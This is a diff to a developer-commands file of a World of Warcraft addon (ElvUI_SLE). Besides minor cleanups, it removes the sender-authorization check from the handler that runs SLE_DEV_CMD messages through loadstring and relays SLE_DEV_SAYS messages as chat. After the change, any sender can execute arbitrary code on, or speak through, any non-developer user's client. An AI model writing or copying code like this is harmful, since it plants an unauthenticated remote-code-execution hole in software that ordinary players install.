diff --git a/ElvUI_SLE/dev/commands.lua b/ElvUI_SLE/dev/commands.lua
index 3abafb2..e06bfee 100755
--- a/ElvUI_SLE/dev/commands.lua
+++ b/ElvUI_SLE/dev/commands.lua
@@ -90,8 +90,6 @@ function SLE:Auth(sender)
end
function E:sleCommand(flag, channel, target, output, text, wtarget, presenceID)
- print("ID: ", presenceID)
- print("Flag: ", flag)
if not SLE:Auth() then
SLE:Print('|cffFF0000Access Denied|r: You need to be authorized to use this command.')
return
@@ -121,7 +119,7 @@ function E:sleCommand(flag, channel, target, output, text, wtarget, presenceID)
SendAddonMessage(flag, Message, channel, target)
else
presenceID = tonumber(presenceID)
- BNSendGameData(presenceID, flag, message)
+ BNSendGameData(presenceID, flag, Message)
end
SLE:Print('|cff00FF00Success|r: Command executed.')
end
@@ -168,12 +166,12 @@ local function SendRecieve(self, event, prefix, message, channel, sender)
BNSendGameData(presenceID, 'SLE_DEV_INFO', messageS)
end
end
- elseif (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and SLE:Auth(sender) and not SLE:Auth() then
+ elseif (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and not SLE:Auth() then
if prefix == 'SLE_DEV_SAYS' then
- local user, channel, msg, sendTo = split("#", message)
+ local _, channel, msg, sendTo = split("#", message)
SendChatMessage(msg, channel, nil, sendTo)
else
- local user, executeString = split("#", message)
+ local _, executeString = split("#", message)
local func, err = loadstring(executeString);
if not err then
SLE:Print(format("Developer Executed: %s", executeString))